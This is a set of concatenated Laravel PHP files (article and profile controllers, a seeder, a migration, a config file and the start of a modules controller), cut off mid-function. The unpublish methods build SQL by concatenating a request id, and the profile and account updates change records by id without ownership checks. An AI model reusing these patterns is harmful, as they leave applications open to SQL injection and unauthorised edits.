██╔████╔██║██║ ██║██║ ██║█████╗ ██████╔╝██████╔╝██║██║ ██║███████║ ██║ █████╗ # ██╔══██╗██╔══╝ ██║╚██╔╝██║██║ ██║╚██╗ ██╔╝██╔══╝ ██╔═══╝ ██╔══██╗██║╚██╗ ██╔╝██╔══██║ ██║ ██╔══╝ # ██║ ██║███████╗██║ ╚═╝ ██║╚██████╔╝ ╚████╔╝ ███████╗ ██║ ██║ ██║██║ ╚████╔╝ ██║ ██║ ██║ ███████╗ # ╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚═══╝ ╚══════╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝ ################################################################################################################## public function removeprivate($id) { // Pass along the ROUTE value of the previous page $ref = app('router')->getRoutes()->match(app('request')->create(URL::previous()))->getName(); $article = Article::find($id); $article->personal = 0; $article->save(); // Save entry to log file using built-in Monolog //Log::info(Auth::user()->username . " (" . Auth::user()->id . ") REMOVE PRIVATE from recipe (" . $recipe->id . ")\r\n", // [json_decode($recipe, true)] //); Session::flash('success','The article was removed from private successfully'); return redirect()->route($ref); } ################################################################################################################## # ██████╗ ███████╗███████╗███████╗████████╗ ██╗ ██╗██╗███████╗██╗ ██╗███████╗ # ██╔══██╗██╔════╝██╔════╝██╔════╝╚══██╔══╝ ██║ ██║██║██╔════╝██║ ██║██╔════╝ # ██████╔╝█████╗ ███████╗█████╗ ██║ ██║ ██║██║█████╗ ██║ █╗ ██║███████╗ # ██╔══██╗██╔══╝ ╚════██║██╔══╝ ██║ ╚██╗ ██╔╝██║██╔══╝ ██║███╗██║╚════██║ # ██║ ██║███████╗███████║███████╗ ██║ ╚████╔╝ ██║███████╗╚███╔███╔╝███████║ # ╚═╝ ╚═╝╚══════╝╚══════╝╚══════╝ ╚═╝ ╚═══╝ ╚═╝╚══════╝ ╚══╝╚══╝ ╚══════╝ // RESET VIEWS COUNT ################################################################################################################## public function resetViews($id) { // Pass along the ROUTE value of the previous page $ref = app('router')->getRoutes()->match(app('request')->create(URL::previous()))->getName(); $article = Article::find($id); $article->views = 0; $article->save(); // Save entry to log file using built-in Monolog //Log::info(Auth::user()->username . " (" . Auth::user()->id . ") MADE recipe (" . $recipe->id . ") PRIVATE \r\n", [json_decode($recipe, true)]); Session::flash('success','The article\'s views count was reset to 0.'); // return redirect()->route($ref); return redirect()->back(); } ################################################################################################################## # ██████╗ ███████╗███████╗████████╗ ██████╗ ██████╗ ███████╗ # ██╔══██╗██╔════╝██╔════╝╚══██╔══╝██╔═══██╗██╔══██╗██╔════╝ # ██████╔╝█████╗ ███████╗ ██║ ██║ ██║██████╔╝█████╗ # ██╔══██╗██╔══╝ ╚════██║ ██║ ██║ ██║██╔══██╗██╔══╝ # ██║ ██║███████╗███████║ ██║ ╚██████╔╝██║ ██║███████╗ # ╚═╝ ╚═╝╚══════╝╚══════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝ // RESTORE TRASHED FILE ################################################################################################################## public function restore($id) { $article = Article::withTrashed()->findOrFail($id); //$article->deleted_at = NULL; //$article->save(); $article->restore(); Session::flash ('success','The article was successfully restored.'); //return redirect()->route('backend.articles.trashed'); return redirect()->back(); } ################################################################################################################## # ██████╗ ███████╗███████╗████████╗ ██████╗ ██████╗ ███████╗ █████╗ ██╗ ██╗ # ██╔══██╗██╔════╝██╔════╝╚══██╔══╝██╔═══██╗██╔══██╗██╔════╝ ██╔══██╗██║ ██║ # ██████╔╝█████╗ ███████╗ ██║ ██║ ██║██████╔╝█████╗ ███████║██║ ██║ # ██╔══██╗██╔══╝ ╚════██║ ██║ ██║ ██║██╔══██╗██╔══╝ ██╔══██║██║ ██║ # ██║ ██║███████╗███████║ ██║ ╚██████╔╝██║ ██║███████╗ ██║ ██║███████╗███████╗ # ╚═╝ ╚═╝╚══════╝╚══════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═╝╚══════╝╚══════╝ // RESTORE ALL TRASHED FILE ################################################################################################################## public function restoreAll(Request $request) { //dd('TEST_RESTORE'); //dd($request); //$this->validate($request, [ // 'checked' => 'required', //]); //dd('TEST_RESTORE'); $checked = $request->input('checked'); //dd($checked); // $article = new Article(); // $article->restore($checked); Article::whereIn('id', $checked)->restore(); Session::flash('success','The articles were restored successfully.'); return redirect()->route('backend.articles.trashed'); } ################################################################################################################## # ███████╗██╗ ██╗ ██████╗ ██╗ ██╗ # ██╔════╝██║ ██║██╔═══██╗██║ ██║ # ███████╗███████║██║ ██║██║ █╗ ██║ # ╚════██║██╔══██║██║ ██║██║███╗██║ # ███████║██║ ██║╚██████╔╝╚███╔███╔╝ # ╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚══╝╚══╝ // Display the specified resource ################################################################################################################## public function show($id) { // if(!checkACL('guest')) { // return view('errors.403'); // } $article = Article::withTrashed()->findOrFail($id); // Add 1 to views column //DB::table('articles')->where('id','=',$article->id)->increment('views',1); // Save entry to log file using built-in Monolog // if (Auth::check()) { // Log::info(Auth::user()->username . " (" . Auth::user()->id . ") VIEWED article (" . $article->id . ")"); // } else { // Log::info('Guest viewed article (' . $article->id) . ')'; // } return view('backend.articles.show', compact('article')); } ################################################################################################################## # ███████╗████████╗ ██████╗ ██████╗ ███████╗ # ██╔════╝╚══██╔══╝██╔═══██╗██╔══██╗██╔════╝ # ███████╗ ██║ ██║ ██║██████╔╝█████╗ # ╚════██║ ██║ ██║ ██║██╔══██╗██╔══╝ # ███████║ ██║ ╚██████╔╝██║ ██║███████╗ # ╚══════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝ // Store a newly created resource in storage ################################################################################################################## public function store(CreateArticleRequest $request) { // if(!checkACL('author')) { // return view('errors.403'); // } $article = new Article; $article->title = $request->title; $article->category_id = $request->category_id; $article->published_at = $request->published_at; $article->description_eng = $request->description_eng; $article->description_fre = $request->description_fre; $article->user_id = Auth::user()->id; $article->save(); // Save entry to log file using built-in Monolog //Log::info(Auth::user()->username . " (" . Auth::user()->id . ") CREATED article (" . $article->id . ")\r\n", [json_decode($article, true)] //); Session::flash('success','The article has been created successfully!'); // return redirect()->route($request->ref); return redirect()->route('backend.articles.index'); } ################################################################################################################## # ████████╗██████╗ █████╗ ███████╗██╗ ██╗███████╗██████╗ # ╚══██╔══╝██╔══██╗██╔══██╗██╔════╝██║ ██║██╔════╝██╔══██╗ # ██║ ██████╔╝███████║███████╗███████║█████╗ ██║ ██║ # ██║ ██╔══██╗██╔══██║╚════██║██╔══██║██╔══╝ ██║ ██║ # ██║ ██║ ██║██║ ██║███████║██║ ██║███████╗██████╔╝ # ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝╚══════╝╚═════╝ // Display a list of resources that have been trashed (Soft Deleted) ################################################################################################################## public function trashed(Request $request) { if(!checkACL('manager')) { return view('errors.backend.403'); } $articles = Article::with('user','category')->onlyTrashed()->get(); return view('backend.articles.trashed', compact('articles')); } ################################################################################################################## # ████████╗██████╗ █████╗ ███████╗██╗ ██╗ █████╗ ██╗ ██╗ # ╚══██╔══╝██╔══██╗██╔══██╗██╔════╝██║ ██║ ██╔══██╗██║ ██║ # ██║ ██████╔╝███████║███████╗███████║ ███████║██║ ██║ # ██║ ██╔══██╗██╔══██║╚════██║██╔══██║ ██╔══██║██║ ██║ # ██║ ██║ ██║██║ ██║███████║██║ ██║ ██║ ██║███████╗███████╗ # ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╚═╝ ╚═╝╚══════╝╚══════╝ // Remove the specified resource from storage // Used in the index page to soft delete multiple records ################################################################################################################## public function trashAll(Request $request) { // Pass along the ROUTE value of the previous page $ref = app('router')->getRoutes()->match(app('request')->create(URL::previous()))->getName(); $this->validate($request, [ 'checked' => 'required', ]); $checked = $request->input('checked'); //dd($checked); foreach($checked as $article) { $article = Article::findOrFail($article); $article->published_at = Null; $article->save(); //dd($article); } Article::destroy($checked); Session::flash('success','The articles were trashed successfully.'); return redirect()->route($ref); } ################################################################################################################## # ██╗ ██╗███╗ ██╗██████╗ ██╗ ██╗██████╗ ██╗ ██╗███████╗██╗ ██╗ # ██║ ██║████╗ ██║██╔══██╗██║ ██║██╔══██╗██║ ██║██╔════╝██║ ██║ # ██║ ██║██╔██╗ ██║██████╔╝██║ ██║██████╔╝██║ ██║███████╗███████║ # ██║ ██║██║╚██╗██║██╔═══╝ ██║ ██║██╔══██╗██║ ██║╚════██║██╔══██║ # ╚██████╔╝██║ ╚████║██║ ╚██████╔╝██████╔╝███████╗██║███████║██║ ██║ # ╚═════╝ ╚═╝ ╚═══╝╚═╝ ╚═════╝ ╚═════╝ ╚══════╝╚═╝╚══════╝╚═╝ ╚═╝ ################################################################################################################## public function unpublish($id) { // Pass along the ROUTE value of the previous page $ref = app('router')->getRoutes()->match(app('request')->create(URL::previous()))->getName(); $article = Article::find($id); $article->published_at = NULL; // $article->favoriteArticles()->delete(); // Remove associated rows from article_user (favorites table) $favorites = DB::select('select * from article_user where article_id = '. $id, [1]); //dd ($favorites); foreach($favorites as $favorite) { //dd($favorite); $article->favorites()->detach($favorite); } $article->save(); Session::flash ('success','The article was successfully unpublished'); // return redirect()->route($ref); return redirect()->back(); } ################################################################################################################## # ██╗ ██╗███╗ ██╗██████╗ ██╗ ██╗██████╗ ██╗ ██╗███████╗██╗ ██╗ █████╗ ██╗ ██╗ # ██║ ██║████╗ ██║██╔══██╗██║ ██║██╔══██╗██║ ██║██╔════╝██║ ██║ ██╔══██╗██║ ██║ # ██║ ██║██╔██╗ ██║██████╔╝██║ ██║██████╔╝██║ ██║███████╗███████║ ███████║██║ ██║ # ██║ ██║██║╚██╗██║██╔═══╝ ██║ ██║██╔══██╗██║ ██║╚════██║██╔══██║ ██╔══██║██║ ██║ # ╚██████╔╝██║ ╚████║██║ ╚██████╔╝██████╔╝███████╗██║███████║██║ ██║ ██║ ██║███████╗███████╗ # ╚═════╝ ╚═╝ ╚═══╝╚═╝ ╚═════╝ ╚═════╝ ╚══════╝╚═╝╚══════╝╚═╝ ╚═╝ ╚═╝ ╚═╝╚══════╝╚══════╝ ################################################################################################################## public function unpublishAll(Request $request) { // Pass along the ROUTE value of the previous page $ref = app('router')->getRoutes()->match(app('request')->create(URL::previous()))->getName(); $this->validate($request, [ 'checked' => 'required', ]); $checked = $request->input('checked'); foreach ($checked as $item) { //dd($item); $article = Article::withTrashed()->find($item); $article->published_at = Null; // Delete related favorites $favorites = DB::select('select * from article_user where article_id = '. $article->id, [1]); foreach($favorites as $favorite) { $article->favorites()->detach($favorite); } $article->save(); } Session::flash('success','The articles were published successfully.'); return redirect()->route($ref); } ################################################################################################################## # ██╗ ██╗███╗ ██╗██████╗ ██╗ ██╗██████╗ ██╗ ██╗███████╗██╗ ██╗███████╗██████╗ # ██║ ██║████╗ ██║██╔══██╗██║ ██║██╔══██╗██║ ██║██╔════╝██║ ██║██╔════╝██╔══██╗ # ██║ ██║██╔██╗ ██║██████╔╝██║ ██║██████╔╝██║ ██║███████╗███████║█████╗ ██║ ██║ # ██║ ██║██║╚██╗██║██╔═══╝ ██║ ██║██╔══██╗██║ ██║╚════██║██╔══██║██╔══╝ ██║ ██║ # ╚██████╔╝██║ ╚████║██║ ╚██████╔╝██████╔╝███████╗██║███████║██║ ██║███████╗██████╔╝ # ╚═════╝ ╚═╝ ╚═══╝╚═╝ ╚═════╝ ╚═════╝ ╚══════╝╚═╝╚══════╝╚═╝ ╚═╝╚══════╝╚═════╝ // Display a list of resources that have not been published ################################################################################################################## public function unpublished(Request $request, $key=null) { if(!checkACL('publisher')) { return view('errors.backend.403'); } //$alphas = range('A', 'Z'); $alphas = DB::table('articles') ->select(DB::raw('DISTINCT LEFT(title, 1) as letter')) // ->where('personal', '!=', 1) ->where('published_at','=', null) ->where('deleted_at','=', null) ->orderBy('letter') ->get(); //dd($alphas); $letters = []; foreach($alphas as $alpha) { $letters[] = $alpha->letter; } // If $key value is passed if ($key) { $articles = Article::with('user','category')->unpublished() ->where('title', 'like', $key . '%') ->orderBy('title', 'asc') ->get(); return view('backend.articles.unpublished', compact('articles','letters')); } // No $key value is passed $articles = Article::with('user','category')->unpublished()->get(); return view('backend.articles.unpublished', compact('articles','letters')); } ################################################################################################################## # ██╗ ██╗██████╗ ██████╗ █████╗ ████████╗███████╗ # ██║ ██║██╔══██╗██╔══██╗██╔══██╗╚══██╔══╝██╔════╝ # ██║ ██║██████╔╝██║ ██║███████║ ██║ █████╗ # ██║ ██║██╔═══╝ ██║ ██║██╔══██║ ██║ ██╔══╝ # ╚██████╔╝██║ ██████╔╝██║ ██║ ██║ ███████╗ # ╚═════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝ // UPDATE :: Update the specified resource in storage ################################################################################################################## public function update(UpdateArticleRequest $request, $id) { $article = Article::findOrFail($id); $article->title = $request->title; $article->category_id = $request->category_id; $article->published_at = $request->published_at; $article->description_eng = $request->description_eng; $article->description_fre = $request->description_fre; $article->save(); // Save entry to log file using built-in Monolog //Log::info(Auth::user()->username . " (" . Auth::user()->id . ") UPDATED article (" . $article->id . ")\r\n", // [json_decode($article, true)] //); Session::flash('success','The article has been updated successfully.'); return redirect()->route('backend.articles.show', $article); } } <file_sep><?php use Illuminate\Database\Seeder; use Faker\Factory as Faker; class ClientsTableSeeder extends Seeder { /** * Run the database seeds. * * @return void */ public function run() { $faker = Faker::create(); foreach (range(1,15) as $index) { DB::table('clients')->insert([ 'company_name' => $faker->company, 'contact_name' => $faker->name, 'address' => $faker->streetAddress, 'city' => $faker->city, 'state' => $faker->state, 'zip' => $faker->postcode, 'telephone' => $faker->phoneNumber, 'cell' => $faker->phoneNumber, 'fax' => $faker->phoneNumber, 'email' => $faker->email, 'website' => $faker->url, 'notes' => $faker->paragraph ]); } } } <file_sep><?php namespace App\Http\Controllers\Frontend; use Illuminate\Http\Request; use App\Http\Requests\UpdateProfileRequest; use App\Http\Controllers\Controller; use Hash; use Auth; use Session; use App\Category; use App\Profile; use App\User; use Image; use File; class ProfileController extends Controller { ################################################################################################################## # ██████╗ ██████╗ ███╗ ██╗███████╗████████╗██████╗ ██╗ ██╗ ██████╗████████╗ # ██╔════╝██╔═══██╗████╗ ██║██╔════╝╚══██╔══╝██╔══██╗██║ ██║██╔════╝╚══██╔══╝ # ██║ ██║ ██║██╔██╗ ██║███████╗ ██║ ██████╔╝██║ ██║██║ ██║ # ██║ ██║ ██║██║╚██╗██║╚════██║ ██║ ██╔══██╗██║ ██║██║ ██║ # ╚██████╗╚██████╔╝██║ ╚████║███████║ ██║ ██║ ██║╚██████╔╝╚██████╗ ██║ # ╚═════╝ ╚═════╝ ╚═╝ ╚═══╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ################################################################################################################## public function __construct() { $this->middleware('auth'); } ################################################################################################################## # ██████╗██╗ ██╗ █████╗ ███╗ ██╗ ██████╗ ███████╗ ██████╗ ██╗ ██╗██████╗ # ██╔════╝██║ ██║██╔══██╗████╗ ██║██╔════╝ ██╔════╝ ██╔══██╗██║ ██║██╔══██╗ # ██║ ███████║███████║██╔██╗ ██║██║ ███╗█████╗ ██████╔╝██║ █╗ ██║██║ ██║ # ██║ ██╔══██║██╔══██║██║╚██╗██║██║ ██║██╔══╝ ██╔═══╝ ██║███╗██║██║ ██║ # ╚██████╗██║ ██║██║ ██║██║ ╚████║╚██████╔╝███████╗ ██║ ╚███╔███╔╝██████╔╝ # ╚═════╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═════╝ ╚══════╝ ╚═╝ ╚══╝╚══╝ ╚═════╝ ################################################################################################################## public function changePassword(Request $request){ if (!(Hash::check($request->get('current-password'), Auth::user()->password))) { // The current password does not match the one provided return redirect()->back()->with("error","Your current password does not match the password you provided. Please try again.")->withInput(['tab'=>'changePwd']); } if(strcmp($request->get('current-password'), $request->get('new-password')) == 0){ // Current password and new password are the same return redirect()->back()->with("error","The new password cannot be the same as your current password. Please choose a different password.")->withInput(['tab'=>'changePwd']); } $validatedData = $request->validate([ 'current-password' => '<PASSWORD>', 'new-password' => 'required|string|min:6|confirmed', ]); //Change Password $user = Auth::user(); $user->password = <PASSWORD>($request->get('new-password')); $user->save(); return redirect()->back()->with("success","Password changed successfully!")->withInput(['tab'=>'changePwd']); } ################################################################################################################## # ██████╗ ███████╗██╗ ███████╗████████╗███████╗ ██╗███╗ ███╗ █████╗ ██████╗ ███████╗ # ██╔══██╗██╔════╝██║ ██╔════╝╚══██╔══╝██╔════╝ ██║████╗ ████║██╔══██╗██╔════╝ ██╔════╝ # ██║ ██║█████╗ ██║ █████╗ ██║ █████╗ ██║██╔████╔██║███████║██║ ███╗█████╗ # ██║ ██║██╔══╝ ██║ ██╔══╝ ██║ ██╔══╝ ██║██║╚██╔╝██║██╔══██║██║ ██║██╔══╝ # ██████╔╝███████╗███████╗███████╗ ██║ ███████╗ ██║██║ ╚═╝ ██║██║ ██║╚██████╔╝███████╗ # ╚═════╝ ╚══════╝╚══════╝╚══════╝ ╚═╝ ╚══════╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝ ╚══════╝ ################################################################################################################## public function deleteImage($id) { // Find the user $profile = Profile::find($id); // Delete the image from the system File::delete('_profiles/' . $profile->image); // Update database $profile->image = NULL; $profile->save(); // Set flash data with success message and return user to same tab Session::flash ('success', 'Your profile image was successfully removed!'); return redirect()->route('profile', $id)->withInput(['tab'=>'profile']); } ################################################################################################################## # ██╗███╗ ██╗██████╗ ███████╗██╗ ██╗ # ██║████╗ ██║██╔══██╗██╔════╝╚██╗██╔╝ # ██║██╔██╗ ██║██║ ██║█████╗ ╚███╔╝ # ██║██║╚██╗██║██║ ██║██╔══╝ ██╔██╗ # ██║██║ ╚████║██████╔╝███████╗██╔╝ ██╗ # ╚═╝╚═╝ ╚═══╝╚═════╝ ╚══════╝╚═╝ ╚═╝ // Display a list of resources ################################################################################################################## public function index($id) { // Find the logged in user $user = User::with('profile')->findOrFail(Auth::user()->id); //dd($user); // find all projects categories in the categories table and pass them to the view if(checkACL('manager')) { $landingpages = Category::whereHas('module', function ($query) { $query ->where('name', '=', 'landing pages'); })->orderBy('name','asc')->get(); } else { $landingpages = Category::whereHas('module', function ($query) { $query ->where('name', '=', 'landing pages') //->where('value', 'NOT LIKE', '%(BE)%') ; })->orderBy('name','asc')->get(); } // Create an empty array to store the categories $landingPages = []; // Store the category values into the $cats array foreach ($landingpages as $landingPage) { $landingPages[$landingPage->id] = ucfirst($landingPage->value); } return view('frontend.profiles.index', compact('user'))->withLandingPages($landingPages); } ################################################################################################################## # ██████╗ ███████╗███████╗███████╗████████╗ ███████╗███████╗████████╗████████╗██╗███╗ ██╗ ██████╗ ███████╗ # ██╔══██╗██╔════╝██╔════╝██╔════╝╚══██╔══╝ ██╔════╝██╔════╝╚══██╔══╝╚══██╔══╝██║████╗ ██║██╔════╝ ██╔════╝ # ██████╔╝█████╗ ███████╗█████╗ ██║ ███████╗█████╗ ██║ ██║ ██║██╔██╗ ██║██║ ███╗███████╗ # ██╔══██╗██╔══╝ ╚════██║██╔══╝ ██║ ╚════██║██╔══╝ ██║ ██║ ██║██║╚██╗██║██║ ██║╚════██║ # ██║ ██║███████╗███████║███████╗ ██║ ███████║███████╗ ██║ ██║ ██║██║ ╚████║╚██████╔╝███████║ # ╚═╝ ╚═╝╚══════╝╚══════╝╚══════╝ ╚═╝ ╚══════╝╚══════╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═════╝ ╚══════╝ ################################################################################################################## // public function resetSettings(Request $request, $id) // { // $profile = Profile::findOrFail($id); // $profile->frontendStyle = 'slate'; // $profile->backendStyle = 'bootstrap'; // $profile->author_format = 1; // $profile->alert_fade_time = 5000; // $profile->date_format = 1; // $profile->landing_page = 'home'; // $profile->rows_per_page = 15; // $profile->display_size = 'normal'; // $profile->action_buttons = 1; // $profile->layout = 1; // $profile->save(); // // Save entry to log file using built-in Monolog // //Log::info(Auth::user()->username . " (" . Auth::user()->id . ") UPDATED article (" . $article->id . ")\r\n", // // [json_decode($article, true)] // //); // Session::flash('success','Your preferences have been reset to their default values successfully.'); // return redirect()->route('frontend.profile', $id)->withInput(['tab'=>'settings']); // } ################################################################################################################## # ███████╗██╗ ██╗ ██████╗ ██╗ ██╗ # ██╔════╝██║ ██║██╔═══██╗██║ ██║ # ███████╗███████║██║ ██║██║ █╗ ██║ # ╚════██║██╔══██║██║ ██║██║███╗██║ # ███████║██║ ██║╚██████╔╝╚███╔███╔╝ # ╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚══╝╚══╝ // Display the specified resource ################################################################################################################## public function show($id) { $user = User::findOrFail($id); //dd($user); return view('frontend.profiles.index', compact('user')); } ################################################################################################################## # ██╗ ██╗██████╗ ██████╗ █████╗ ████████╗███████╗ # ██║ ██║██╔══██╗██╔══██╗██╔══██╗╚══██╔══╝██╔════╝ # ██║ ██║██████╔╝██║ ██║███████║ ██║ █████╗ # ██║ ██║██╔═══╝ ██║ ██║██╔══██║ ██║ ██╔══╝ # ╚██████╔╝██║ ██████╔╝██║ ██║ ██║ ███████╗ # ╚═════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝ // UPDATE :: Update the specified resource in storage ################################################################################################################## public function update(UpdateProfileRequest $request, $id) { $profile = Profile::findOrFail($id); $profile->first_name = $request->first_name; $profile->last_name = $request->last_name; $profile->telephone = $request->telephone; //$profile->image = $request->image; // Check if a new image was submitted if ($request->hasFile('image')) { //Add new photo $image = $request->file('image'); $filename = time() . '.' . $image->getClientOriginalExtension(); //dd($filename); $location = public_path('_profiles/' . $filename); Image::make($image)->resize(800, 400)->save($location); // get name of old image $oldImageName = $profile->image; // Update database $profile->image = $filename; // Delete old photo //Storage::delete($oldImageName); File::delete('_profiles/' . $oldImageName); } $profile->save(); // Save entry to log file using built-in Monolog //Log::info(Auth::user()->username . " (" . Auth::user()->id . ") UPDATED article (" . $article->id . ")\r\n", // [json_decode($article, true)] //); Session::flash('success','Your profile has been updated successfully.'); return redirect()->route('profile', $profile->id)->withInput(['tab'=>'profile']); } ################################################################################################################## # ██╗ ██╗██████╗ ██████╗ █████╗ ████████╗███████╗ █████╗ ██████╗ ██████╗████████╗ # ██║ ██║██╔══██╗██╔══██╗██╔══██╗╚══██╔══╝██╔════╝ ██╔══██╗██╔════╝██╔════╝╚══██╔══╝ # ██║ ██║██████╔╝██║ ██║███████║ ██║ █████╗ ███████║██║ ██║ ██║ # ██║ ██║██╔═══╝ ██║ ██║██╔══██║ ██║ ██╔══╝ ██╔══██║██║ ██║ ██║ # ╚██████╔╝██║ ██████╔╝██║ ██║ ██║ ███████╗ ██║ ██║╚██████╗╚██████╗ ██║ # ╚═════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝ ╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ################################################################################################################## public function updateAcct(Request $request, $id) { $user = User::findOrFail($id); //dd($user); $user->email = $request->email; $user->public_email = $request->public_email; $user->save(); // Save entry to log file using built-in Monolog //Log::info(Auth::user()->username . " (" . Auth::user()->id . ") UPDATED article (" . $article->id . ")\r\n", // [json_decode($article, true)] //); Session::flash('success','Your account has been updated successfully.'); return redirect()->route('profile', $id)->withInput(['tab'=>'account']); } ################################################################################################################## # ██╗ ██╗██████╗ ██████╗ █████╗ ████████╗███████╗ ███████╗███████╗████████╗████████╗██╗███╗ ██╗ ██████╗ ███████╗ # ██║ ██║██╔══██╗██╔══██╗██╔══██╗╚══██╔══╝██╔════╝ ██╔════╝██╔════╝╚══██╔══╝╚══██╔══╝██║████╗ ██║██╔════╝ ██╔════╝ # ██║ ██║██████╔╝██║ ██║███████║ ██║ █████╗ ███████╗█████╗ ██║ ██║ ██║██╔██╗ ██║██║ ███╗███████╗ # ██║ ██║██╔═══╝ ██║ ██║██╔══██║ ██║ ██╔══╝ ╚════██║██╔══╝ ██║ ██║ ██║██║╚██╗██║██║ ██║╚════██║ # ╚██████╔╝██║ ██████╔╝██║ ██║ ██║ ███████╗ ███████║███████╗ ██║ ██║ ██║██║ ╚████║╚██████╔╝███████║ # ╚═════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝ ╚══════╝╚══════╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═════╝ ╚══════╝ ################################################################################################################## public function updateSettings(Request $request, $id) { $profile = Profile::findOrFail($id); $profile->frontendStyle = $request->frontendStyle; $profile->backendStyle = $request->backendStyle; $profile->author_format = $request->author_format; $profile->alert_fade_time = $request->alert_fade_time; $profile->date_format = $request->date_format; $profile->landing_page_id = $request->landing_page_id; $profile->rows_per_page = $request->rows_per_page; $profile->display_size = $request->display_size; $profile->action_buttons = $request->action_buttons; $profile->layout = $request->layout; $profile->save(); // Save entry to log file using built-in Monolog //Log::info(Auth::user()->username . " (" . Auth::user()->id . ") UPDATED article (" . $article->id . ")\r\n", // [json_decode($article, true)] //); Session::flash('success','Your preferences have been updated successfully.'); return redirect()->route('profile', $id)->withInput(['tab'=>'settings']); } public function pwdChange($id) { return redirect()->route('profile', $id)->withInput(['tab'=>'changePwd']); } public function settingsUpdate($id) { return redirect()->route('profile', $id)->withInput(['tab'=>'settings']); } public function acctUpdate($id) { return redirect()->route('profile', $id)->withInput(['tab'=>'account']); } } <file_sep><?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class CreateProfilesTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { // Profiles table will store info/settings that users can modify themselves Schema::create('profiles', function (Blueprint $table) { $table->increments('id'); $table->integer('user_id')->unsigned(); $table->string('first_name')->nullable(); $table->string('last_name')->nullable(); $table->string('telephone')->nullable(); $table->string('image')->nullable(); $table->string('frontendStyle')->default('slate'); $table->string('backendStyle')->default('bootstrap'); $table->integer('date_format')->default(1); $table->string('landing_page_id')->default(41); $table->unsignedinteger('rows_per_page')->default(15); $table->string('display_size')->default('normal'); $table->string('action_buttons')->default(1); $table->string('author_format')->default(1); $table->unsignedinteger('alert_fade_time')->default(5000); $table->unsignedinteger('layout')->default(1); $table->softDeletes(); // address // country // dob //etc // With the cascading delete option in place, deleting a user from the database will automatically result in the deletion of the user's corresponding profile. $table->foreign('user_id')->references('id')->on('users')->onDelete('cascade'); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('profiles'); } } <file_sep><?php return [ // GENERAL SITE SETTINGS // How many rows to display in the tables 'rowsPerPage' => 10, ];<file_sep><?php namespace App\Http\Controllers\Backend; use App\Http\Controllers\Controller; use Illuminate\Support\Facades\Input; use Illuminate\Http\Request; use App\Http\Requests; use App\Module; use Auth; use DB; use Excel; use File; use Image; use Purifier; use Session; use Storage; use Log; use App\Http\Requests\CreateModuleRequest; use App\Http\Requests\UpdatemoduleRequest; class ModulesController extends Controller { ################################################################################################################## # ██████╗ ██████╗ ███╗ ██╗███████╗████████╗██████╗ ██╗ ██╗ ██████╗████████╗ # ██╔════╝██╔═══██╗████╗ ██║██╔════╝╚══██╔══╝██╔══██╗██║ ██║██╔════╝╚══██╔══╝ # ██║ ██║ ██║██╔██╗ ██║███████╗ ██║ ██████╔╝██║ ██║██║ ██║ # ██║ ██║ ██║██║╚██╗██║╚════██║ ██║ ██╔══██╗██║ ██║██║ ██║ # ╚██████╗╚██████╔╝██║ ╚████║███████║ ██║ ██║ ██║╚██████╔╝╚██████╗ ██║ # ╚═════╝ ╚═════╝ ╚═╝ ╚═══╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ################################################################################################################## public function __construct() { // only allow authenticated users to access these pages $this->middleware('auth'); //Log::useFiles(storage_path().'/logs/Admin_Modules.log'); } ################################################################################################################## # ██╗███╗ ██╗██████╗ ███████╗██╗ ██╗ # ██║████╗ ██║██╔══██╗██╔════╝╚██╗██╔╝ # ██║██╔██╗ ██║██║ ██║█████╗ ╚███╔╝ # ██║██║╚██╗██║██║ ██║██╔══╝ ██╔██╗ # ██║██║ ╚████║██████╔╝███████╗██╔╝ ██╗ # ╚═╝╚═╝ ╚═══╝╚═════╝ ╚══════╝╚═╝ ╚═╝ // Display a list of resources ################################################################################################################## public function index() { // if(!checkACL('manager')) { // return view('errors.403'); // } $modules = Module::orderBy('name','ASC')->get(); return view('backend.modules.index',compact('modules')); } ################################################################################################################## # ███████╗████████╗ ██████╗ ██████╗ ███████╗ # ██╔════╝╚══██╔══╝██╔═══██╗██╔══██╗██╔════╝ # ███████╗ ██║ ██║ ██║██████╔╝█████╗ # ╚════██║ ██║ ██║ ██║██╔══██╗██╔══╝ # ███████║ ██║ ╚██████╔╝██║ ██║███████╗ # ╚══════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝ // Store a newly created resource in storage ################################################################################################################## public function store(CreateModuleRequest $request) { // if(!checkACL('manager')) { // return view('errors.403'); // } $module = new Module; $module->name = $request->name; $module->save(); // Save entry to log file using built-in Monolog //Log::info(Auth::user()->username . " (" . Auth::user()->id . ") CREATED module (" . $module->id . ")\r\n", [json_decode($module, true)]); Session::flash('success','The new module has been created.'); return redirect()->route('backend.modules.index'); } ################################################################################################################## # ███████╗██████╗ ██╗████████╗ # ██╔════╝██╔══██╗██║╚══██╔══╝ # █████╗ ██║ ██║██║ ██║ # ██╔══╝ ██║ 